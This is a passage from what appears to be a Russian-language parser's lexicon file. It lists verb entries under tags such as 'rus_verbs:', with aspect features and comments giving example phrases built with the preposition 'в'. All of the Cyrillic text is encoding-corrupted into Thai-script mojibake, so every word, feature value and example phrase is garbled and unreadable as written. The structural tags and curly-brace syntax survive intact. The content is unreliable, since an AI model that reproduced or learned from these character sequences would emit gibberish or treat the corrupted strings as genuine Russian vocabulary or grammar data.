ะธะฝัะธะฝะธัะธะฒ:ะฝะฐััะฟะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะธะฝัะธะฝะธัะธะฒ:ะฝะฐััะฟะฐัั{ ะฒะธะด:ัะพะฒะตัั }, // ะฝะฐััะฟะฐัั ะฒ ััะฐะบะฐะฝ
ะณะปะฐะณะพะป:ะฝะฐััะฟะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ะฝะฐััะฟะฐัั{ ะฒะธะด:ัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ะฝะฐััะฟะฐั{}, ะดะตะตะฟัะธัะฐััะธะต:ะฝะฐััะฟะฐะฒ{},
rus_verbs:ัะฟะพััะตะฑะปััั{}, // ัะฟะพััะตะฑะปััั ะฒ ะฟะธัั
rus_verbs:ะฟัะธะฒะพะดะธัััั{}, // ะฟัะธะฒะพะดะธัััั ะฒ ะดะตะนััะฒะธะต
rus_verbs:ะฟัะธัััะพะธัั{}, // ะฟัะธัััะพะธัั ะฒ ะฝะฐะดะตะถะฝัะต ััะบะธ
rus_verbs:ััะบะฝััั{}, // ััะบะฝััั ะฒ ะฝะพัั
rus_verbs:ะพะฑัะตะดะธะฝะธัััั{}, // ะพะฑัะตะดะธะฝะธัััั ะฒ ะฑะฐะฝะดั
rus_verbs:ัะฐะถะฐัั{}, // ัะฐะถะฐัั ะฒ ะพะดะธะฝะพัะบั
rus_verbs:ัะพะตะดะธะฝะธัั{}, // ัะพะตะดะธะฝะธัั ะฒ ะบะพะปััะพ
rus_verbs:ะทะฐะฑัะตััะธ{}, // ะทะฐะฑัะตััะธ ะฒ ะบะฐัะตัะบั
rus_verbs:ัะฒะตัะฝััััั{}, // ัะฒะตัะฝััััั ะฒ ะบะปัะฑะพัะตะบ
rus_verbs:ะฟะตัะตัะตััั{}, // ะฟะตัะตัะตััั ะฒ ะดััะณะพะน ะฐะฒัะพะฑัั
rus_verbs:ะฟะพััััะฐัััั{}, // ะฟะพััััะฐัััั ะฒ ะดะฒะตััั
rus_verbs:ัะพะตะดะธะฝััั{}, // ัะพะตะดะธะฝััั ะฒ ะบะพะปััะพ
rus_verbs:ะฟัะธะฒะพะปะพัั{}, // ะฟัะธะฒะพะปะพัั ะฒ ะบะพะผะพัะบั
rus_verbs:ัะผะฐั
ะธะฒะฐัั{}, // ัะผะฐั
ะธะฒะฐัั ะฒ ััะธะบ ััะพะปะฐ
rus_verbs:ะทะฐะฑะตะถะฐัั{}, // ะทะฐะฑะตะถะฐัั ะฒ ะฟะพะผะตัะตะฝะธะต
rus_verbs:ัะตะปะธัััั{}, // ัะตะปะธัััั ะฒ ะฑะตะณะปะตัะฐ
rus_verbs:ะฟัะพะบัะฐััััั{}, // ะฟัะพะบัะฐััััั ะฒ ั
ัะฐะฝะธะปะธัะต
rus_verbs:ะทะฐะบะพะฒัะปััั{}, // ะทะฐะบะพะฒัะปััั ะฒ ััะฐะฒัะฐะผะพะปะพะณะธั
rus_verbs:ะฟัะธัะบะฐะบะฐัั{}, // ะฟัะธัะบะฐะบะฐัั ะฒ ััะพะนะปะพ
rus_verbs:ะบะพะปะพัะธัั{}, // ะบะพะปะพัะธัั ะฒ ะดะฒะตัั
rus_verbs:ัะผะพััะตัััั{}, // ัะผะพััะตัััั ะฒ ะทะตัะบะฐะปะพ
rus_verbs:ะฟะพะดะปะพะถะธัั{}, // ะฟะพะดะปะพะถะธัั ะฒ ัะฐะปะพะฝ
rus_verbs:ะฟััะฐัั{}, // ะฟััะฐัั ะฒ ะบะพัะพะปะตะฒัะบะธะต ะฟะพะบะพะธ
rus_verbs:ัะพะณะฝััั{}, // ัะพะณะฝััั ะฒ ะดัะณั
rus_verbs:ะทะฐะฑะฐัะฐะฑะฐะฝะธัั{}, // ะทะฐะฑะฐัะฐะฑะฐะฝะธัั ะฒ ะดะฒะตัั
rus_verbs:ะพัะบะปะพะฝะธัั{}, // ะพัะบะปะพะฝะธัั ะฒ ััะพัะพะฝั ะฟะพัะฐะดะพัะฝะพะน ะฟะพะปะพัั
rus_verbs:ัะฑัะฐัััั{}, // ัะฑัะฐัััั ะฒ ัะฟะตัะธะฐะปัะฝัั ะฝะธัั
rus_verbs:ะฝะฐัะผะพััะตัััั{}, // ะฝะฐัะผะพััะตัััั ะฒ ะทะตัะบะฐะปะพ
rus_verbs:ัะผะพะบะฝััั{}, // ัะผะพะบะฝััั ะฒ ัะตัะบั
rus_verbs:ััะผะตั
ะฐัััั{}, // ััะผะตั
ะฐัััั ะฒ ะฑะพัะพะดั
rus_verbs:ะฟะตัะตะดะฒะธะฝััั{}, // ะฟะตัะตะดะฒะธะฝััั ะฒ ะบะพะฝะตั ะพัะตัะตะดะธ
rus_verbs:ะดะพะฟััะบะฐัััั{}, // ะดะพะฟััะบะฐัััั ะฒ ะพะฟะพัะธะฒะฐะปัะฝั
rus_verbs:ะทะฐะดะฒะธะฝััั{}, // ะทะฐะดะฒะธะฝััั ะฒ ะดะฐะปัะฝะธะน ัะณะพะป
rus_verbs:ะพัะฟัะฐะฒะปััั{}, // ะพัะฟัะฐะฒะปััั ะฒ ัะตะฝัั
rus_verbs:ัะฑัะฐััะฒะฐัั{}, // ัะฑัะฐััะฒะฐัั ะฒ ะถะตัะปะพ
rus_verbs:ัะฐััััะตะปะธะฒะฐัั{}, // ัะฐััััะตะปะธะฒะฐัั ะฒ ะผะพะผะตะฝั ะพะฑะฝะฐััะถะตะฝะธั
rus_verbs:ะทะฐะฒะพะปะพัั{}, // ะทะฐะฒะพะปะพัั ะฒ ะทะฐะบััะพะบ
rus_verbs:ะฟัะพะปะธัั{}, // ะฟัะพะปะธัั ะฒ ะฒะพะดั
rus_verbs:ะทะฐัััััั{}, // ะทะฐัััััั ะฒ ัะตะฝะพ
rus_verbs:ะฟะตัะตะปะธะฒะฐัััั{}, // ะฟะตัะตะปะธะฒะฐัััั ะฒ ะตะผะบะพััั
rus_verbs:ะทะฐัะฐัะธัั{}, // ะทะฐัะฐัะธัั ะฒ ะบะปัะฑ
rus_verbs:ะฟะตัะตะฑะตะถะฐัั{}, // ะฟะตัะตะฑะตะถะฐัั ะฒ ะปะฐะณะตัั ะฒัะฐะณะพะฒ
rus_verbs:ะพะดะตัั{}, // ะพะดะตัั ะฒ ะฝะพะฒะพะต ะฟะปะฐััะต
ะธะฝัะธะฝะธัะธะฒ:ะทะฐะดะฒะธะณะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ะทะฐะดะฒะธะณะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะทะฐะดะฒะธะณะฐัััั ะฒ ะฝะธัั
ะดะตะตะฟัะธัะฐััะธะต:ะทะฐะดะฒะธะณะฐััั{},
rus_verbs:ะบะปัะฝััั{}, // ะบะปัะฝััั ะฒ ัะตะผะตัะบะพ
rus_verbs:ะฝะฐะปะธะฒะฐัั{}, // ะฝะฐะปะธะฒะฐัั ะฒ ะบััะถะบั
rus_verbs:ะฟัะพะปะตะทัั{}, // ะฟัะพะปะตะทัั ะฒ ััะบะพ
rus_verbs:ะพัะบะปะฐะดัะฒะฐัั{}, // ะพัะบะปะฐะดัะฒะฐัั ะฒ ััะธะบ
rus_verbs:ะฟัะพััะฝััััั{}, // ะฟัะพััะฝััััั ะฒ ัะพัะตะดะฝะธะน ะดะพะผ
rus_verbs:ัะปะตะฟะฝััััั{}, // ัะปะตะฟะฝััััั ะปะธัะพะผ ะฒ ะณััะทั
rus_verbs:ัััะฐะฝะฐะฒะปะธะฒะฐัั{}, // ัััะฐะฝะฐะฒะปะธะฒะฐัั ะฒ ะผะฐัะธะฝั
rus_verbs:ัะฟะพััะตะฑะปััััั{}, // ัะฟะพััะตะฑะปััััั ะฒ ะฟะธัั
rus_verbs:ะฟะตัะตะบะปััะธัััั{}, // ะฟะตัะตะบะปััะธัััั ะฒ ัะตะฒะตััะฝัะน ัะตะถะธะผ
rus_verbs:ะฟะธัะบะฝััั{}, // ะฟะธัะบะฝััั ะฒ ะผะธะบัะพัะพะฝ
rus_verbs:ะทะฐัะฒะธัััั{}, // ะทะฐัะฒะธัััั ะฒ ะบะปะฐัั
rus_verbs:ะฝะฐะปะธัััั{}, // ะฝะฐะปะธัััั ะฒ ััะฐะบะฐะฝ
rus_verbs:ะทะฐะปะธะฒะฐัั{}, // ะทะฐะปะธะฒะฐัั ะฒ ะฑะฐะบ
rus_verbs:ััะฐะฒะธัััั{}, // ััะฐะฒะธัััั ะฒ ะพัะตัะตะดั
ะธะฝัะธะฝะธัะธะฒ:ะฟะธัะฐัััั{ aux stress="ะฟ^ะธัะฐัััั" }, ะณะปะฐะณะพะป:ะฟะธัะฐัััั{ aux stress="ะฟ^ะธัะฐัััั" }, // ะฟะธัะฐัััั ะฒ ััะฐะฝั
ะดะตะตะฟัะธัะฐััะธะต:ะฟะธัะฐััั{},
rus_verbs:ัะตะปะพะฒะฐัััั{}, // ัะตะปะพะฒะฐัััั ะฒ ะณัะฑั
rus_verbs:ะฝะฐะฝะพัะธัั{}, // ะฝะฐะฝะพัะธัั ะฒ ะพะฑะปะฐััั ัะตัะดัะฐ
rus_verbs:ะฟะพัะผะตััััั{}, // ะฟะพัะผะตััััั ะฒ ะบัะปะฐัะพะบ
rus_verbs:ัะฟะพััะตะฑะธัั{}, // ัะฟะพััะตะฑะธัั ะฒ ะฟะธัั
rus_verbs:ะฟัะพัะฒะฐัััั{}, // ะฟัะพัะฒะฐัััั ะฒ ััะพะปะพะฒัั
rus_verbs:ัะบะปะฐะดัะฒะฐัััั{}, // ัะบะปะฐะดัะฒะฐัััั ะฒ ัะพะฒะฝัะต ััะพะฟะบะธ
rus_verbs:ะฟัะพะฑะธัััั{}, // ะฟัะพะฑะธัััั ะฒ ัะธะฝะฐะป
rus_verbs:ะทะฐะฑะธัั{}, // ะทะฐะฑะธัั ะฒ ะทะตะผะปั
rus_verbs:ะฟะตัะตะปะพะถะธัั{}, // ะฟะตัะตะปะพะถะธัั ะฒ ะดััะณะพะน ะบะฐัะผะฐะฝ
rus_verbs:ะพะฟััะบะฐัั{}, // ะพะฟััะบะฐัั ะฒ ัะฒะตะถะตะฒัััััั ะผะพะณะธะปั
rus_verbs:ะฟะพัะพัะพะฟะธัััั{}, // ะฟะพัะพัะพะฟะธัััั ะฒ ัะบะพะปั
rus_verbs:ัะดะฒะธะฝััััั{}, // ัะดะฒะธะฝััััั ะฒ ััะพัะพะฝั
rus_verbs:ะบะฐะฟะฐัั{}, // ะบะฐะฟะฐัั ะฒ ัะผะตัั
rus_verbs:ะฟะพะณััะถะฐัััั{}, // ะฟะพะณััะถะฐัััั ะฒะพ ััะผั
rus_verbs:ะฝะฐะฟัะฐะฒะปััั{}, // ะฝะฐะฟัะฐะฒะปััั ะฒ ะบะฐะฑะธะฝะบั
rus_verbs:ะฟะพะณััะทะธัั{}, // ะฟะพะณััะทะธัั ะฒะพ ััะผั
rus_verbs:ะฟัะธะผัะฐัััั{}, // ะฟัะธะผัะฐัััั ะฒ ัะบะพะปั
rus_verbs:ัะฟะธัะฐัััั{}, // ัะฟะธัะฐัััั ะฒ ะดะฒะตัั
rus_verbs:ัะดะฐะปััััั{}, // ัะดะฐะปััััั ะฒ ะบะพะผะฝะฐัั ัะพะฒะตัะฐะฝะธะน
rus_verbs:ัะบะฝััััั{}, // ัะบะฝััััั ะฒ ะพะบะพัะบะพ
rus_verbs:ัะฑะตะณะฐัั{}, // ัะฑะตะณะฐัั ะฒ ัะฐัั
rus_verbs:ัะพะตะดะธะฝะธัััั{}, // ัะพะตะดะธะฝะธัััั ะฒ ะฝะตะพะฑััะฝัั ะฟัะพัััะฐะฝััะฒะตะฝะฝัั ัะธะณััั
rus_verbs:ะฝะฐะณะพะฒะพัะธัั{}, // ะฝะฐะณะพะฒะพัะธัั ะฒ ะผะธะบัะพัะพะฝ
rus_verbs:ะฟะตัะตะฝะพัะธัั{}, // ะฟะตัะตะฝะพัะธัั ะฒ ะดะพะผ
rus_verbs:ะฟัะธะปะตัั{}, // ะฟัะธะปะตัั ะฒ ะบัะพะฒะฐัะบั
rus_verbs:ะฟะพะฒะพัะฐัะธะฒะฐัั{}, // ะฟะพะฒะพัะฐัะธะฒะฐัั ะฒ ะพะฑัะฐัะฝัั ััะพัะพะฝั
rus_verbs:ะฟัะพัะบะพัะธัั{}, // ะฟัะพัะบะพัะธัั ะฒ ัะตะปั
rus_verbs:ัะพะฒะฐัั{}, // ัะพะฒะฐัั ะฒ ะดัั
ะพะฒะบั
rus_verbs:ะฟะตัะตะพะดะตัััั{}, // ะฟะตัะตะพะดะตัััั ะฒ ัะธัััั ะพะดะตะถะดั
rus_verbs:ะฟะพัะฒะฐัั{}, // ะฟะพัะฒะฐัั ะฒ ะปะพัะบััั
rus_verbs:ะทะฐะฒัะทะฐัั{}, // ะทะฐะฒัะทะฐัั ะฒ ะฑะฐัะฐะฝะธะน ัะพะณ
rus_verbs:ััะตั
ะฐัั{}, // ััะตั
ะฐัั ะฒ ะบัะฒะตั
rus_verbs:ะปะธัััั{}, // ะปะธัััั ะฒ ะบะฐะฝะธัััั
rus_verbs:ัะบะปะพะฝะธัััั{}, // ัะบะปะพะฝะธัััั ะฒ ะปะตะฒัั ััะพัะพะฝั
rus_verbs:ัะผะฐั
ะฝััั{}, // ัะผะฐั
ะฝััั ะฒ ะผััะพัะฝะพะต ะฒะตะดัะพ
rus_verbs:ัะฟััะบะฐัั{}, // ัะฟััะบะฐัั ะฒ ัะฐั
ัั
rus_verbs:ะฟะปะตัะฝััั{}, // ะฟะปะตัะฝััั ะฒ ะฒะพะดั
rus_verbs:ะฟะพะดััั{}, // ะฟะพะดััั ะฒ ัะณะพะปัะบะธ
rus_verbs:ะฝะฐะฑะธัะฐัั{}, // ะฝะฐะฑะธัะฐัั ะฒ ะบะพะผะฐะฝะดั
rus_verbs:ั
ะปะพะฟะฐัั{}, // ั
ะปะพะฟะฐัั ะฒ ะปะฐะดะพัะบะธ
rus_verbs:ัะฐะฝะธัั{}, // ัะฐะฝะธัั ะฒ ัะฐะผะพะต ัะตัะดัะต
rus_verbs:ะฟะพัะผะฐััะธะฒะฐัั{}, // ะฟะพัะผะฐััะธะฒะฐัั ะฒ ะธะปะปัะผะธะฝะฐัะพั
rus_verbs:ะฟัะตะฒัะฐัะฐัั{}, // ะฟัะตะฒัะฐัะฐัั ะฒะพะดั ะฒ ะฒะธะฝะพ
rus_verbs:ัะพะปะบะฐัั{}, // ัะพะปะบะฐัั ะฒ ะฟััะธะฝั
rus_verbs:ะพัะฑััั{}, // ะพัะฑััั ะฒ ัะฐัะฟะพะปะพะถะตะฝะธะต ัะฐััะธ
rus_verbs:ัะณัะตััะธ{}, // ัะณัะตััะธ ะฒ ะบะฐัะผะฐะฝ
rus_verbs:ัะดัะฐัั{}, // ัะดัะฐัั ะฒ ัะฐะนะณั
rus_verbs:ะฟัะธัััะพะธัััั{}, // ะฟัะธัััะพะธัััั ะฒ ั
ะพัะพััั ัะธัะผั
rus_verbs:ัะฑะธัััั{}, // ัะฑะธัััั ะฒ ะฟะปะพัะฝัั ะณััะฟะฟั
rus_verbs:ะทะฐะบะปััะฐัั{}, // ะทะฐะบะปััะฐัั ะฒ ะพะฑัััะธั
rus_verbs:ะพัะฟััะบะฐัั{}, // ะพัะฟััะบะฐัั ะฒ ะฟะพั
ะพะด
rus_verbs:ััััะตะผะธัั{}, // ััััะตะผะธัั ะฒะทะณะปัะด ะฒ ะฑัะดััะตะต
rus_verbs:ะพะฑัะพะฝะธัั{}, // ะพะฑัะพะฝะธัั ะฒ ััะฐะฒั
rus_verbs:ัะปะธะฒะฐัััั{}, // ัะปะธะฒะฐัััั ะฒ ัะตัะบั
rus_verbs:ััะตะบะฐัั{}, // ััะตะบะฐัั ะฒ ะบะฐะฝะฐะฒั
rus_verbs:ัะฒะฐะปะธัั{}, // ัะฒะฐะปะธัั ะฒ ะบััั
rus_verbs:ะฟะพะดััะฝััั{}, // ะฟะพะดััะฝััั ะฒ ะบะฐะฑะธะฝั
rus_verbs:ัะบะฐัะธัััั{}, // ัะบะฐัะธัััั ะฒ ะบะฐะฝะฐะฒั
rus_verbs:ะฟัะพัะบะพะปัะทะฝััั{}, // ะฟัะพัะบะพะปัะทะฝััั ะฒ ะฟัะธะพัะบััััั ะดะฒะตัั
rus_verbs:ะทะฐัะพัะพะฟะธัััั{}, // ะทะฐัะพัะพะฟะธัััั ะฒ ะฑััะตั
rus_verbs:ะฟัะพัะธัะฝััััั{}, // ะฟัะพัะธัะฝััััั ะฒ ัะตะฝัั ัะพะปะฟั
rus_verbs:ะฟัััะฐัั{}, // ะฟัััะฐัั ะฒ ัะบัะพะผะฝะตะฝัะบะพะต ะผะตััะตัะบะพ
rus_verbs:ะฟัะพะฟะตัั{}, // ะฟัะพะฟะตัั ะฒ ะผะธะบัะพัะพะฝ
rus_verbs:ัะณะปัะฑะธัััั{}, // ัะณะปัะฑะธัััั ะฒ ะดะถัะฝะณะปะธ
rus_verbs:ัะฟะพะปะทัะธ{}, // ัะฟะพะปะทัะธ ะฒ ัะผั
rus_verbs:ะทะฐะฟะธััะฒะฐัั{}, // ะทะฐะฟะธััะฒะฐัั ะฒ ะฟะฐะผััั
rus_verbs:ัะฐััััะตะปััั{}, // ัะฐััััะตะปััั ะฒ ัะฟะพั (ะฝะฐัะตัะฝัะน ะพะฑะพัะพั ะ ะฃะะะ )
rus_verbs:ะบะพะปะพัะธัััั{}, // ะบะพะปะพัะธัััั ะฒ ะดะฒะตัั
rus_verbs:ะฟัะพััะฝััั{}, // ะฟัะพััะฝััั ะฒ ะพัะฒะตัััะธะต
rus_verbs:ะฟัะพะฒะพะถะฐัั{}, // ะฟัะพะฒะพะถะฐัั ะฒ ะฐัะผะธั
rus_verbs:ะบะฐัะธัั{}, // ะบะฐัะธัั ะฒ ะณะฐัะฐะถ
rus_verbs:ะฟะพัะฐะถะฐัั{}, // ะฟะพัะฐะถะฐัั ะฒ ัะฐะผะพะต ัะตัะดัะต
rus_verbs:ะพัะปะตัะตัั{}, // ะพัะปะตัะตัั ะฒ ะดะฐะปัะฝะธะน ัะณะพะป
rus_verbs:ะทะฐะบะธะฝััั{}, // ะทะฐะบะธะฝััั ะฒ ัะตัะบั
rus_verbs:ะบะฐัะธัััั{}, // ะบะฐัะธัััั ะฒ ะฟัะพะฟะฐััั
rus_verbs:ะทะฐะฑัะพัะธัั{}, // ะทะฐะฑัะพัะธัั ะฒ ะดะฐะปัะฝะธะน ัะณะพะป
rus_verbs:ะพัะฒะตะทัะธ{}, // ะพัะฒะตะทัะธ ะฒ ะปะฐะณะตัั
rus_verbs:ะฒัะพะฟะธัั{}, // ะฒัะพะฟะธัั ะฟะตะดะฐะปั ะฒ ะฟะพะป
rus_verbs:ะฒัะฐะฟะปะธะฒะฐัั{}, // ะฒัะฐะฟะปะธะฒะฐัั ะฟะตะดะฐัั ะฒ ะฟะพะป
rus_verbs:ััะพะฟะธัั{}, // ััะพะฟะธัั ะบะฝะพะฟะบั ะฒ ะฟะฐะฝะตะปั
rus_verbs:ะฝะฐะฟะฐััั{}, // ะ ะะตะบะธะฝะต ััะฐััะฝะธะบะธ ะฐะฝัะธัะฟะพะฝัะบะธั
ะฟัะพัะตััะพะฒ ะฝะฐะฟะฐะปะธ ะฝะฐ ะผะฐัะธะฝั ะฟะพัะปะฐ ะกะจะ
rus_verbs:ะฝะฐะฝััั{}, // ะะพัั ะฝะฐะฝัะป ะฒ ัะปัะถะฑั ะฟะพะดะดะตัะถะบะธ ะตัะต ะฝะตัะบะพะปัะบะพ ะดะตะฒััะตะบ
rus_verbs:ะฟะตัะตะฒะพะดะธัั{}, // ะฟะตัะตะฒะพะดะธัั ะฒ ัััะพะนัะธะฒัั ะบ ะฟะตัะตะณัะตะฒั ัะพัะผั
rus_verbs:ะฑะฐะปะปะพัะธัะพะฒะฐัั{}, // ะฟัะตัะตะฝะดะตะฝั ะฑัะป ะฑะฐะปะปะพัะธัะพะฒะฐะฝ ะฒ ะถััะธ (ะฑะฐะปะปะพัะธัะพะฒะฐะฝ?)
rus_verbs:ะฒะฑัั
ะฐัั{}, // ะะปะฐััะธ ะฒะฑัั
ะฐะปะธ ะฒ ััะพะน ะฟัะพะตะบั ะผะฝะพะณะพ ะดะตะฝะตะณ
rus_verbs:ะฒะฑัั
ะธะฒะฐัั{}, // ะะปะฐััะธ ะฒะฑัั
ะธะฒะฐัั ะฒ ััะพั ะฟัะพะตะบั ะพัะตะฝั ะผะฝะพะณะพ ะดะตะฝะตะณ
rus_verbs:ะฟะพัะบะฐะบะฐัั{}, // ะฟะพัะบะฐะบะฐัั ะฒ ะฐัะฐะบั
rus_verbs:ะฟัะธัะตะปะธัััั{}, // ะฟัะธัะตะปะธัััั ะฒ ะฑะตะณััะตะณะพ ะทะฐะนัะฐ
rus_verbs:ะฟััะณะฐัั{}, // ะฟััะณะฐัั ะฒ ะบัะพะฒะฐัั
rus_verbs:ะฟัะธะณะปะฐัะฐัั{}, // ะฟัะธะณะปะฐัะฐัั ะฒ ะดะพะผ
rus_verbs:ะฟะพะฝะตััะธัั{}, // ะฟะพะฝะตััะธัั ะฒ ะฒะพัะพัะฐ
rus_verbs:ะทะฐะตั
ะฐัั{}, // ะทะฐะตั
ะฐัั ะฒ ะณะฐัะฐะถะฝัะน ะฑะพะบั
rus_verbs:ะพะฟััะบะฐัััั{}, // ะพะฟััะบะฐัััั ะฒ ะฑะตะทะดะฝั
rus_verbs:ะฟะตัะตะตั
ะฐัั{}, // ะฟะตัะตะตั
ะฐัั ะฒ ะบะพััะตะดะถ
rus_verbs:ะฟะพะผะตััะธัั{}, // ะฟะพะผะตััะธัั ะฒ ะบะฐัะฐะฝัะธะฝ
rus_verbs:ะฟะพะปะทัะธ{}, // ะฟะพะปะทัะธ ะฒ ะฝะพัั
rus_verbs:ะดะพะฑะฐะฒะปััั{}, // ะดะพะฑะฐะฒะปััั ะฒ ะบะพัะทะธะฝั
rus_verbs:ััะบะฝััััั{}, // ััะบะฝััััั ะฒ ะฟะพะดััะบั
rus_verbs:ะฟัะพะดะฐะฒะฐัั{}, // ะฟัะพะดะฐะฒะฐัั ะฒ ัะฐะฑััะฒะพ
rus_verbs:ัะฟัััะฐัััั{}, // ะะตะปะบะฐ ัะฟัััะตััั ะฒ ะดัะฟะปะพ.
rus_verbs:ะฒัะธัะพะฒัะฒะฐัั{}, // ะฒัะธัะพะฒัะฒะฐัั ะฝะพะฒัะน ะฟะตััะพะฝะฐะถ ะฒ ะฐะฝะธะผะฐัะธั
rus_verbs:ะฒะพัะบะฝััั{}, // ะฒะพัะบะฝะธ ะฒะธะปะบั ะฒ ัะพะทะตัะบั
rus_verbs:ะฝะตััะธ{}, // ะฝะตััะธ ะฒ ะฑะพะปัะฝะธัั
rus_verbs:ะฒะพัะบะฝััััั{}, // ะฒะธะปะบะฐ ะฒะพัะบะฝัะปะฐัั ะฒ ัะพัะฝัั ะบะพัะปะตัะบั
rus_verbs:ะฒะฟะฐะธะฒะฐัั{}, // ะฒะฟะฐะธะฒะฐัั ะดะตัะฐะปั ะฒ ะฟะปะฐัั
rus_verbs:ะฒะฟะฐะธะฒะฐัััั{}, // ะดะตัะฐะปั ะฒะฟะฐะธะฒะฐะตััั ะฒ ะฟะปะฐัั
rus_verbs:ะฒะฟะฐัั
ะธะฒะฐัั{}, // ะฒะฟะฐัั
ะธะฒะฐัั ะฒ ะฟะพะผะตัะตะฝะธะต
rus_verbs:ะฒะฟะฐััั{}, // ะฒะฟะฐััั ะดะตัะฐะปั ะฒ ะฟะปะฐัั
rus_verbs:ะฒะฟะตะฝะดััะธะฒะฐัั{}, // ะฒะฟะตะฝะดััะธะฒะฐัั ัััะบะตะฝัะธั ะฒ ะฐะณัะตะณะฐั
rus_verbs:ะฒะฟะตะฝะดััะธัั{}, // ะฒะฟะตะฝะดััะธัั ัััะบะตะฝัะธั ะฒ ะฐะณัะตะณะฐั
rus_verbs:ะฒะฟะตัะธะฒะฐัั{}, // ะฒะฟะตัะธะฒะฐัั ะฒะทะณะปัะด ะฒ ัะบัะฐะฝ
rus_verbs:ะฒะฟะตัะธะฒะฐัััั{}, // ะฒะฟะตัะธะฒะฐัััั ะฒ ัะบัะฐะฝ
rus_verbs:ะฒะฟะตัะธัั{}, // ะฒะฟะตัะธัั ะฒะทะณะปัะด ะฒ ัะบัะฐะฝ
rus_verbs:ะฒะฟะตัะธัััั{}, // ะฒะฟะตัะธัััั ะฒ ัะบัะฐะฝ
rus_verbs:ะฒะฟะตัััั{}, // ะฒะฟะตัััั ะฒะทะณะปัะด ะฒ ัะบัะฐะฝ
rus_verbs:ะฒะฟะตัััััั{}, // ะฒะฟะตัััััั ะฒ ัะบัะฐะฝ
rus_verbs:ะฒะฟะตัะฐัะฐัั{}, // ะฒะฟะตัะฐัะฐัั ัะตะบัั ะฒ ะฟะตัะฒัั ะณะปะฐะฒั
rus_verbs:ะฒะฟะตัะฐัะฐัััั{}, // ะฒะฟะตัะฐัะฐัััั ะฒ ััะตะฝั
rus_verbs:ะฒะฟะตัะฐััะฒะฐัั{}, // ะฒะฟะตัะฐััะฒะฐัั ัะตะบัั ะฒ ะฟะตัะฒัั ะณะปะฐะฒั
rus_verbs:ะฒะฟะตัะฐััะฒะฐัััั{}, // ะฒะฟะตัะฐััะฒะฐัััั ะฒ ััะตะฝั
rus_verbs:ะฒะฟะธะฒะฐัััั{}, // ะฅะธัะฝะธะบ ะฒะฟะธะฒะฐะตััั ะฒ ะถะตััะฒั ะผะพัะฝัะผะธ ะทัะฑะฐะผะธ
rus_verbs:ะฒะฟะธัะฐัััั{}, // ะะธะดะบะพััั ะฒะฟะธัะฐะปะฐัั ะฒ ัะบะฐะฝั
rus_verbs:ะฒะฟะธััะฒะฐัััั{}, // ะะธะดะบะพััั ะฒะฟะธััะฒะฐะตััั ะฒ ัะบะฐะฝั
rus_verbs:ะฒะฟะธั
ะธะฒะฐัั{}, // ะะฐะผะฐ ะฒะฟะธั
ะธะฒะฐะตั ะฒ ััะผะบั ะบััะพะบ ะบะพะปะฑะฐัั
rus_verbs:ะฒะฟะธั
ะธะฒะฐัััั{}, // ะััะพะบ ะบะพะปะฑะฐัั ะฒะฟะธั
ะธะฒะฐะตััั ะฒ ััะผะบั
rus_verbs:ะฒะฟะธั
ะฝััั{}, // ะะฐะผะฐ ะฒะฟะธั
ะฝัะปะฐ ะบะฐััััะปั ะฒ ั
ะพะปะพะดะธะปัะฝะธะบ
rus_verbs:ะฒะฟะธั
ะฝััััั{}, // ะะฐััััะปั ะฒะฟะธั
ะฝัะปะฐัั ะฒ ั
ะพะปะพะดะธะปัะฝะธะบ
rus_verbs:ะฒะฟะปะฐะฒะธัััั{}, // ะัะพะฒะพะด ะฒะฟะปะฐะฒะธะปัั ะฒ ะฟะปะฐัั
rus_verbs:ะฒะฟะปะตัะฝััั{}, // ะฒะฟะปะตัะฝััั ะบัะฐัะธัะตะปั ะฒ ะฑะฐะบ
rus_verbs:ะฒะฟะปะตััะธ{}, // ะฒะฟะปะตััะธ ะปะตะฝัั ะฒ ะฒะพะปะพัั
rus_verbs:ะฒะฟะปะตััะธัั{}, // ะฒะฟะปะตััะธัั ะฒ ะฒะพะปะพัั
rus_verbs:ะฒะฟะปะตัะฐัั{}, // ะฒะฟะปะตัะฐัั ะปะตะฝัั ะฒ ะฒะพะปะพัั
rus_verbs:ะฒะฟะปัะฒะฐัั{}, // ะบะพัะฐะฑะปั ะฒะฟะปัะฒะฐะตั ะฒ ะฟะพัั
rus_verbs:ะฒะฟะปััั{}, // ัั
ัะฐ ะฒะฟะปัะปะฐ ะฒ ะฑัั
ัั
rus_verbs:ะฒะฟะพะปะทะฐัั{}, // ะดัะฐะบะพะฝ ะฒะฟะพะปะทะฐะตั ะฒ ะฟะตัะตัั
rus_verbs:ะฒะฟะพะปะทัะธ{}, // ะดัะฐะบะพะฝ ะฒะฟะพะปะท ะฒ ัะฒะพั ะฟะตัะตัั
rus_verbs:ะฒะฟะพัั
ะฝััั{}, // ะฑะฐะฑะพัะบะฐ ะฒะฟะพัั
ะฝัะปะฐ ะฒ ะพะบะฝะพ
rus_verbs:ะฒะฟัะตััะพะฒะฐัั{}, // ะฒะฟัะตััะพะฒะฐัั ะดะตัะฐะปั ะฒ ะฟะปะธัั
rus_verbs:ะฒะฟัะตััะพะฒะฐัััั{}, // ะฒะฟัะตััะพะฒะฐัััั ะฒ ะฟะปะธัั
rus_verbs:ะฒะฟัะตััะพะฒัะฒะฐัั{}, // ะฒะฟัะตััะพะฒัะฒะฐัั ะดะตัะฐะปั ะฒ ะฟะปะธัั
rus_verbs:ะฒะฟัะตััะพะฒัะฒะฐัััั{}, // ะฒะฟัะตััะพะฒัะฒะฐัััั ะฒ ะฟะปะธัั
rus_verbs:ะฒะฟััะณะธะฒะฐัั{}, // ะะฐััะฐะถะธั ะฒะฟััะณะธะฒะฐะตั ะฒ ะฒะฐะณะพะฝ
rus_verbs:ะฒะฟััะณะฝััั{}, // ะะฐััะฐะถะธั ะฒะฟััะณะฝัะป ะฒ ะฒะฐะณะพะฝ
rus_verbs:ะฒะฟัััะบะธะฒะฐัั{}, // ะคะพัััะฝะบะฐ ะฒะฟัััะบะธะฒะฐะตั ัะพะฟะปะธะฒะพ ะฒ ัะธะปะธะฝะดั
rus_verbs:ะฒะฟัััะบะธะฒะฐัััั{}, // ะขะพะฟะปะธะฒะพ ะฒะฟัััะบะธะฒะฐะตััั ัะพัััะฝะบะพะน ะฒ ัะธะปะธะฝะดั
